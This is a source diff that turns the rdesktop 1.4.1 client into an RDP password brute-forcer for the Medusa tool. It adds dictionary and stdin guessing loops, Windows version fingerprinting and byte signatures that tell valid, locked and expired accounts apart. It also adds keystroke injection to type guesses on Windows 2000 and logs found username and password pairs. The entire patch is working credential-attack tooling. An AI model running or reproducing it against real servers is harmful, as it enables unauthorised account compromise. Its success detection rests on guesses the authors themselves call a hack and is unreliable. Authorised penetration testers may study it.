diff -rub rdesktop-1.4.1/orders.c rdesktop-jmk/orders.c --- rdesktop-1.4.1/orders.c 2005-04-23 17:38:37.000000000 -0500 +++ rdesktop-jmk/orders.c 2006-01-16 13:10:40.000000000 -0600 @@ -21,10 +21,21 @@ #include "rdesktop.h" #include "orders.h" + extern uint8 *g_next_packet; static RDP_ORDER_STATE g_order_state; extern BOOL g_use_rdp5; +/* brute-force mode */ +#include +#include "scancodes.h" +extern BOOL g_brute_complete; +extern int g_brute_logon_status; +extern int g_brute_mode; +extern int g_server_version; +extern int g_brute_w2k_send_logon; +extern int g_w2k_auth_count; + /* Read field indicating which parameters are present */ static void rdp_in_present(STREAM s, uint32 * present, uint8 flags, int size) @@ -863,6 +874,99 @@ DEBUG(("\n")); + /* Check text for failed logon message. This is a complete guess/hack... */ + if (g_brute_mode != BRUTE_NONE) + { + if (!memcmp(os->text, LOGON_AUTH_FAILED, 3)) + { + fprintf(stderr, "Retrieved connection termination packet.\n"); + g_brute_complete = True; + } + + if (g_server_version == VERSION_SRV_2K) + { + if (!memcmp(os->text, LOGON_W2K_BANNER, 23)) + { + fprintf(stderr, "Retrieved Windows 2000 logon window.\n"); + g_brute_w2k_send_logon = LOGIN_WIN_READY; + } + + /* if we see this message twice and we haven't seen "FE 00 00", we must have succeeded, right??? */ + if (!memcmp(os->text, LOGON_W2K_MESSAGE, 4)) + { + g_w2k_auth_count++; + + if ((!g_brute_complete) && (g_w2k_auth_count > 1)) + { + fprintf(stderr, "Windows 2000 successful authentication.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + g_brute_complete = True; + } + } + else if (g_brute_complete) + { + fprintf(stderr, "Windows 2000 authentication failed.\n"); + if (g_brute_logon_status == LOGIN_RESULT_UNKNOWN) + g_brute_logon_status = LOGIN_RESULT_FAIL; + } + } + + if ((!memcmp(os->text, LOGON_MESSAGE_FAILED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_FAILED_2K3, 18))) + { + fprintf(stderr, "Account credentials are NOT valid.\n"); + g_brute_logon_status = LOGIN_RESULT_FAIL; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_2K3, 18))) + { + fprintf(stderr, "Account credentials are valid, however, the account is denied interactive logon.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_LOCKED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_LOCKED_2K3, 18))) + { + fprintf(stderr, "Account is currently locked out.\n"); + g_brute_logon_status = LOGIN_RESULT_ERROR; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_DISABLED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_DISABLED_2K3, 18))) + { + fprintf(stderr, "Account is currently disabled or expired. XP appears to report that an account is disabled only for valid credentials.\n"); + g_brute_logon_status = LOGIN_RESULT_ERROR; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_EXPIRED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_2K3, 18)) || + (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_W2K, 18))) + { + fprintf(stderr, "Account credentials are valid, however, the password has expired and must be changed.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if ((!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_2K3, 18))) + { + fprintf(stderr, "Account credentials are valid, however, the password must be changed at first logon.\n"); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if (!memcmp(os->text, LOGON_MESSAGE_MSTS_MAX_2K3, 18)) + { + fprintf(stderr, "Account credentials are valid, however, the maximum number of terminal services connections has been reached.\n"); + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC ); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + } + else if (!memcmp(os->text, LOGON_MESSAGE_CURRENT_USER_XP, 18)) + { + fprintf(stderr, "Valid credentials, however, another user is currently logged on.\n"); + /* Unable to ESC message about booting current user, so say NO. */ + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_N ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_N ); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + g_brute_complete = True; + } + else + { + DEBUG(("Logon failed with unknown text message: ")); + for (i = 0; i < os->length; i++) + DEBUG(("%02x ", os->text[i])); + DEBUG(("\n")); + } + } + ui_draw_text(os->font, os->flags, os->opcode - 1, os->mixmode, os->x, os->y, os->clipleft, os->cliptop, os->clipright - os->clipleft, os->clipbottom - os->cliptop, os->boxleft, os->boxtop, diff -rub rdesktop-1.4.1/orders.h rdesktop-jmk/orders.h --- rdesktop-1.4.1/orders.h 2005-03-10 16:40:20.000000000 -0600 +++ rdesktop-jmk/orders.h 2006-01-16 12:41:04.000000000 -0600 @@ -18,6 +18,52 @@ Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ +/* brute-force code */ + +/* The following is a complete guess... */ + +/* This appears to indicate that our attempt has failed in some way */ +#define LOGON_AUTH_FAILED "\xfe\x00\x00" + +/* Windows 2000 logon banner */ +#define LOGON_W2K_BANNER "\x1d\x00\x0c\x07\x1e\x07\x1f\x08\x20\x08\x21\x07\x1f\x06\x22\x08\x1f\x07\x1e\x08\x23\x08\x24" + +/* Using this string to track if we've successfully logged on */ +#define LOGON_W2K_MESSAGE "\x1f\x00\x26\x08" + +/* The system could not log you on. Make sure your User name and domain are correct [FAILED] */ +#define LOGON_MESSAGE_FAILED_XP "\x17\x00\x18\x06\x10\x06\x1a\x09\x1b\x05\x1a\x06\x1c\x05\x10\x04\x1d\x06" +#define LOGON_MESSAGE_FAILED_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x05\x15\x06\x17\x05\x13\x04\x18\x06" + +/* The local policy of this system does not permit you to logon interactively. [SUCCESS] */ +#define LOGON_MESSAGE_NO_INTERACTIVE_XP "\x17\x00\x18\x06\x10\x06\x11\x09\x1a\x02\x0f\x06\x0d\x05\x11\x06\x1b\x05" +#define LOGON_MESSAGE_NO_INTERACTIVE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x02\x17\x06\x18\x05\x15\x06\x19\x05" + +/* Unable to log you on because your account has been locked out */ +#define LOGON_MESSAGE_LOCKED_XP "\x17\x00\x0e\x07\x0d\x06\x18\x06\x11\x06\x10\x02\x1a\x09\x1b\x04\x11\x09" +#define LOGON_MESSAGE_LOCKED_2K3 "\x11\x00\x12\x07\x13\x06\x14\x06\x15\x06\x16\x02\x18\x09\x19\x04\x15\x09" + +/* Your account has been disabled. Please see your system administrator. [ERROR] */ +/* Your account has expired. Please see your system administrator. [ERROR] */ +#define LOGON_MESSAGE_DISABLED_XP "\x17\x00\x18\x06\x19\x06\x1a\x06\x0d\x07\x0f\x06\x0f\x05\x18\x05\x19\x06" +#define LOGON_MESSAGE_DISABLED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x17\x05\x12\x05\x13\x06" + +/* Your password has expired and must be changed. [SUCCESS] */ +#define LOGON_MESSAGE_EXPIRED_XP "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06" +#define LOGON_MESSAGE_EXPIRED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x18\x06\x18\x05\x19\x05" +#define LOGON_MESSAGE_EXPIRED_W2K "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x2d\x0a\x2e\x0a\x0b\x07\x0b\x06" + +/* You are required to change your password at first logon. [SUCCESS] */ +#define LOGON_MESSAGE_MUST_CHANGE_XP "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06" +#define LOGON_MESSAGE_MUST_CHANGE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x06\x17\x04\x16\x09\x17\x04\x18\x06" + +/* The terminal server has exceeded the maximum number of allowed connections. [SUCCESS] */ +#define LOGON_MESSAGE_MSTS_MAX_2K3 "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x24\x0a\x25\x0a\x0b\x07\x0b\x06\x26" + +/* The user MACHINE_NAME\USER is currently logged on to this computer. [SUCCESS] */ +#define LOGON_MESSAGE_CURRENT_USER_XP "\x12\x00\x13\x07\x10\x05\x14\x06\x0e\x07\x0d\x06\x16\x06\x10\x08\x17\x06" +/* end brute-force code */ + #define RDP_ORDER_STANDARD 0x01 #define RDP_ORDER_SECONDARY 0x02 #define RDP_ORDER_BOUNDS 0x04 diff -rub rdesktop-1.4.1/rdesktop.c rdesktop-jmk/rdesktop.c --- rdesktop-1.4.1/rdesktop.c 2005-04-22 17:12:28.000000000 -0500 +++ rdesktop-jmk/rdesktop.c 2006-01-16 13:34:07.000000000 -0600 @@ -16,6 +16,16 @@ You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + 2005-07-07 - Added dictionary support for automated login testing + patrik@cqure.net + + 2005-12-22 - Modified stdin password method to support Medusa wrapper + module (www.foofus.net/jmk/medusa/medusa.html). Also heavily + modified brute-force guessing to match various error messages + and kinda work against Windows 2000. + JoMo-Kun */ #include /* va_list va_start va_end */ @@ -47,6 +57,13 @@ #include +int g_brute_mode = BRUTE_NONE; +int g_brute_logon_status = LOGIN_RESULT_UNKNOWN; +int g_server_version = VERSION_SRV_UNKNOWN; +int g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; +int g_w2k_auth_count = 0; +char *g_password = NULL; + char g_title[64] = ""; char g_username[64]; char g_hostname[16]; @@ -88,6 +105,7 @@ uint32 g_embed_wnd; uint32 g_rdp5_performanceflags = RDP5_NO_WALLPAPER | RDP5_NO_FULLWINDOWDRAG | RDP5_NO_MENUANIMATIONS; +FILE *g_logger = NULL; #ifdef WITH_RDPSND BOOL g_rdpsnd = False; @@ -100,6 +118,7 @@ extern RDPDR_DEVICE g_rdpdr_device[]; extern uint32 g_num_devices; extern char *g_rdpdr_clientname; +extern BOOL g_loggedon; #ifdef RDP2VNC extern int rfb_port; @@ -114,6 +133,8 @@ { fprintf(stderr, "rdesktop: A Remote Desktop Protocol client.\n"); fprintf(stderr, "Version " VERSION ". Copyright (C) 1999-2005 Matt Chapman.\n"); + fprintf(stderr, "Password guess patch by patrik@cqure.net\n"); + fprintf(stderr, "Modified by jmk@foofus.net for use with the brute-forcer Medusa.\n"); fprintf(stderr, "See http://www.rdesktop.org/ for more information.\n\n"); fprintf(stderr, "Usage: %s [options] server[:port]\n", program); @@ -125,7 +146,7 @@ fprintf(stderr, " -d: domain\n"); fprintf(stderr, " -s: shell\n"); fprintf(stderr, " -c: working directory\n"); - fprintf(stderr, " -p: password (- to prompt)\n"); + fprintf(stderr, " -p: password (- to prompt,filename for dictionary)\n"); fprintf(stderr, " -n: client hostname\n"); fprintf(stderr, " -k: keyboard layout on server (en-us, de, sv, etc.)\n"); fprintf(stderr, " -g: desktop geometry (WxH)\n"); @@ -169,6 +190,7 @@ fprintf(stderr, " -0: attach to console\n"); fprintf(stderr, " -4: use RDP version 4\n"); fprintf(stderr, " -5: use RDP version 5 (default)\n"); + fprintf(stderr, " -l: logfile\n"); } void @@ -355,6 +377,41 @@ } +void +chomp( char *p ) +{ + while( *p ) + { + if (( '\r' == *p ) || ( '\n' == *p ) ) + *p = 0; + + *p++; + } +} + +int +logprintf( const char *format, ... ) +{ + + va_list args; + int i; + + va_start( args, format ); + + if ( g_logger ) { + i = vfprintf( g_logger, format, args ); + vprintf( format, args ); + } + else { + i = vprintf( format, args ); + } + + va_end( args ); + + return i; +} + + /* Client program */ int main(int argc, char *argv[]) @@ -365,11 +422,12 @@ char password[64]; char shell[128]; char directory[32]; + FILE *dicfile = NULL; BOOL prompt_password, deactivated; struct passwd *pw; uint32 flags, ext_disc_reason = 0; char *p; - int c; + int c, i; int username_option = 0; @@ -388,7 +446,7 @@ #endif while ((c = getopt(argc, argv, - VNCOPT "u:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?")) != -1) + VNCOPT "u:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?l:")) != -1) { switch (c) { @@ -435,6 +493,13 @@ if ((optarg[0] == '-') && (optarg[1] == 0)) { prompt_password = True; + g_brute_mode = BRUTE_STDIN; + flags |= RDP_LOGON_AUTO; + break; + } + else if ( (dicfile = fopen( optarg, "r" ) ) ) { + g_brute_mode = BRUTE_FILE; + flags |= RDP_LOGON_AUTO; break; } @@ -681,6 +746,13 @@ case '5': g_use_rdp5 = True; break; + case 'l': + if ( NULL == ( g_logger = fopen( optarg, "w" ) ) ) + { + fprintf(stderr, "Failed to open logfile (%s)\n", optarg); + return 1; + } + break; case 'h': case '?': @@ -740,9 +812,6 @@ STRNCPY(g_hostname, fullhostname, sizeof(g_hostname)); } - if (prompt_password && read_password(password, sizeof(password))) - flags |= RDP_LOGON_AUTO; - if (g_title[0] == 0) { strcpy(g_title, "rdesktop - "); @@ -763,6 +832,7 @@ #endif rdpdr_init(); + if (g_brute_mode == BRUTE_NONE) if (!rdp_connect(server, flags, domain, password, shell, directory)) return 1; @@ -771,19 +841,154 @@ if (!packet_encryption) g_encryption = False; - + if (g_brute_mode == BRUTE_NONE) + { DEBUG(("Connection successful.\n")); memset(password, 0, sizeof(password)); + } if (ui_create_window()) { + if ((g_brute_mode == BRUTE_FILE) && (dicfile)) { + logprintf("\nStarting dictionary attack against server %s\n", server); + logprintf("------------------------------------------"); + + for ( i=0; i 15) + { + fprintf(stderr, "This shit is broke, I'm bailing...\n"); + return 1; + } + } + + if (g_server_version == VERSION_SRV_2K) + { + fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n"); + g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; + g_w2k_auth_count = 0; + g_password = password; + } + + if (!packet_encryption) + g_encryption = False; + rdp_main_loop(&deactivated, &ext_disc_reason); + rdp_disconnect(); + + switch (g_brute_logon_status) + { + case LOGIN_RESULT_SUCCESS: + logprintf("[success] User \"%s\" Password \"%s\"\n", g_username, password ); + break; + case LOGIN_RESULT_FAIL: + logprintf( "[failure] User \"%s\" Password \"%s\"\n", g_username, password ); + break; + case LOGIN_RESULT_ERROR: + logprintf( "[error] User \"%s\" Password \"%s\"\n", g_username, password ); + return 1; + break; + default: + logprintf( "[error] User \"%s\" Password \"%s\". Connection terminated due to unknown error.\n", g_username, password ); + return 1; + break; + } + } + } + else if (g_brute_mode == BRUTE_STDIN) + { + fprintf(stderr, "Starting brute-force attack via STDIN against %s\n", server); + + while(!g_loggedon) + { + read_password(password, sizeof(password)); + + g_encryption = True; + + int sleep_count = 0; + while (!rdp_connect(server, flags, domain, password, shell, directory)) + { + /* rdesktop seems to flake out after brute-forcing a bit. let's try again... */ + fprintf(stderr, "Server appears to be flaking out. Sleeping (%d) seconds...\n", sleep_count); + sleep(sleep_count); + sleep_count += 5; + + if (sleep_count > 15) + { + fprintf(stderr, "This shit is broke, I'm bailing...\n"); + fprintf(stderr, "LOGIN_RESULT_ERROR:Server stopped responding.\n"); + return 1; + } + } + + if (g_server_version == VERSION_SRV_2K) + { + fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n"); + g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; + g_w2k_auth_count = 0; + g_password = password; + } + + if (!packet_encryption) + g_encryption = False; + + rdp_main_loop(&deactivated, &ext_disc_reason); + rdp_disconnect(); + + switch (g_brute_logon_status) + { + case LOGIN_RESULT_SUCCESS: + fprintf(stderr, "LOGIN_RESULT_SUCCESS\n"); + break; + case LOGIN_RESULT_FAIL: + fprintf(stderr, "LOGIN_RESULT_FAILURE\n"); + break; + case LOGIN_RESULT_ERROR: + fprintf(stderr, "LOGIN_RESULT_ERROR\n"); + return 1; + break; + default: + fprintf(stderr, "LOGIN_RESULT_ERROR:Connection terminated due to unknown error.\n"); + return 1; + break; + } + } + } + else + { + rdp_main_loop(&deactivated, &ext_disc_reason); + } + ui_destroy_window(); } + if (g_brute_mode == BRUTE_NONE) { DEBUG(("Disconnecting...\n")); rdp_disconnect(); cache_save_state(); + } + else + { + if (g_logger) + fclose( g_logger ); + } + ui_deinit(); if (ext_disc_reason >= 2) @@ -1081,7 +1286,6 @@ } } - /* not all clibs got ltoa */ #define LTOA_BUFSIZE (sizeof(long) * 8 + 1) diff -rub rdesktop-1.4.1/rdesktop.h rdesktop-jmk/rdesktop.h --- rdesktop-1.4.1/rdesktop.h 2005-05-04 15:32:41.000000000 -0500 +++ rdesktop-jmk/rdesktop.h 2006-01-11 17:09:43.000000000 -0600 @@ -32,6 +32,20 @@ #define VERSION "1.4.1" +#define BRUTE_NONE 1 +#define BRUTE_STDIN 2 +#define BRUTE_FILE 3 +#define VERSION_SRV_UNKNOWN 0 +#define VERSION_SRV_XP2K3 1 +#define VERSION_SRV_2K 2 +#define LOGIN_RESULT_UNKNOWN 1 +#define LOGIN_RESULT_SUCCESS 2 +#define LOGIN_RESULT_FAIL 3 +#define LOGIN_RESULT_ERROR 4 +#define LOGIN_WIN_UNKNOWN 0 +#define LOGIN_WIN_PROC 1 +#define LOGIN_WIN_READY 2 + #ifdef WITH_DEBUG #define DEBUG(args) printf args; #else diff -rub rdesktop-1.4.1/rdp.c rdesktop-jmk/rdp.c --- rdesktop-1.4.1/rdp.c 2005-04-22 17:12:28.000000000 -0500 +++ rdesktop-jmk/rdp.c 2006-01-13 16:28:56.000000000 -0600 @@ -16,12 +16,16 @@ You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + 2005-07-07 Addedd support for detecting failed/successful login attempts + */ #include #include #include #include "rdesktop.h" +#include "scancodes.h" #ifdef HAVE_ICONV #ifdef HAVE_ICONV_H @@ -64,6 +68,20 @@ static BOOL g_iconv_works = True; #endif +/* brute-force stuff */ +extern int g_brute_mode; +extern int g_server_version; +extern int g_brute_logon_status; +extern char* g_password; +extern BOOL g_brute_w2k_send_logon; +BOOL g_loggedon = False; +BOOL g_brute_complete = False; +#define KEYMAP_MASK 0xffff +#define KEYMAP_SIZE 0xffff+1 +extern key_translation keymap[KEYMAP_SIZE]; +/* end brute-force */ + + /* Receive an RDP packet */ static STREAM rdp_recv(uint8 * type) @@ -1241,6 +1259,7 @@ case RDP_DATA_PDU_LOGON: DEBUG(("Received Logon PDU\n")); + g_loggedon = True; /* User logged on */ break; @@ -1274,6 +1293,63 @@ while (cont) { + if (g_brute_mode != BRUTE_NONE) + { + if ( g_loggedon ) + { + DEBUG(("Brute-force complete, successful authentication.\n")); + g_brute_logon_status = LOGIN_RESULT_SUCCESS; + disc = True; + } + else if ( g_brute_complete ) + { + /* failed */ + DEBUG(("Brute-force complete, terminating connection.\n")); + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC ); + g_brute_complete = False; + + /* w2k success */ + if (g_server_version == VERSION_SRV_2K) + disc = True; + } + + if ((g_server_version == VERSION_SRV_2K) && (g_brute_w2k_send_logon == LOGIN_WIN_READY)) + { + g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN; + + DEBUG(("Sending password: %s\n", g_password)); + int i; + char keysym; + uint8 scancode; + + /* TAB to username field to view text */ + //for(i = 0; i < 5; i++) + //{ + // rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_TAB ); + // rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_TAB ); + //} + + for(i = 0; i < strlen(g_password); i++) + { + keysym = g_password[i]; + scancode = keymap[keysym & KEYMAP_MASK].scancode; + DEBUG(("Sending CHAR: %c KEYSYM: 0x%x SCANCODE: 0x%x\n", keysym, (unsigned int) keysym, scancode)); + + if (keymap[keysym & KEYMAP_MASK].modifiers == 0x0) + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT); + else + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_LSHIFT); + + rdp_send_scancode( time(NULL), RDP_KEYPRESS, scancode ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, scancode ); + } + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT); + rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ENTER ); + rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ENTER ); + } + } + s = rdp_recv(&type); if (s == NULL) return False; @@ -1292,6 +1368,15 @@ break; case 0: break; + case 15: + /* Intermittent with W2K brute-forcing issue */ + if (g_server_version == VERSION_SRV_2K) + { + DEBUG(("Brute-force connection to Windows 2000 is fubar'd.\n")); + g_brute_logon_status = LOGIN_RESULT_ERROR; + disc = True; + } + break; default: unimpl("PDU %d\n", type); } diff -rub rdesktop-1.4.1/secure.c rdesktop-jmk/secure.c --- rdesktop-1.4.1/secure.c 2005-03-06 15:11:17.000000000 -0600 +++ rdesktop-jmk/secure.c 2006-01-11 16:52:51.000000000 -0600 @@ -39,6 +39,8 @@ extern VCHANNEL g_channels[]; extern unsigned int g_num_channels; +extern int g_server_version; + static int rc4_key_len; static RC4_KEY rc4_decrypt_key; static RC4_KEY rc4_encrypt_key; @@ -761,6 +763,33 @@ g_use_rdp5 = 0; g_server_bpp = 8; } + + /* + Attempting to determine server OS version. It appears that the 21st + byte in the response is 0x02 for XP/2K3 and 0x01 for W2K. Don't know + what this byte actually represents, so this is a complete hack... + + -0010 02 0c ec 00 01 00 00 00 02 00 00 00 20 00 00 00 ............ ... + +0010 02 0c ec 00 02 00 00 00 02 00 00 00 20 00 00 00 ............ ... + */ + + //int datalen = s->end - s->p; + //hexdump(s->p, datalen); + switch ( *(s->p + 18) ) + { + case 0x01: + DEBUG_RDP5(("Server version appears to be Windows 2000.\n")); + g_server_version = VERSION_SRV_2K; + break; + case 0x02: + DEBUG_RDP5(("Server version appears to be Windows XP/2003.\n")); + g_server_version = VERSION_SRV_XP2K3; + break; + default: + DEBUG_RDP5(("Server version unknown. Interesting data: %d.\n", *(s->p + 18))); + g_server_version = VERSION_SRV_UNKNOWN; + break; + } } diff -rub rdesktop-1.4.1/xkeymap.c rdesktop-jmk/xkeymap.c --- rdesktop-1.4.1/xkeymap.c 2005-04-28 04:41:57.000000000 -0500 +++ rdesktop-jmk/xkeymap.c 2006-01-12 14:05:24.000000000 -0600 @@ -47,7 +47,8 @@ extern BOOL g_numlock_sync; static BOOL keymap_loaded; -static key_translation keymap[KEYMAP_SIZE]; +//static key_translation keymap[KEYMAP_SIZE]; +key_translation keymap[KEYMAP_SIZE]; static int min_keycode; static uint16 remote_modifier_state = 0; static uint16 saved_remote_modifier_state = 0;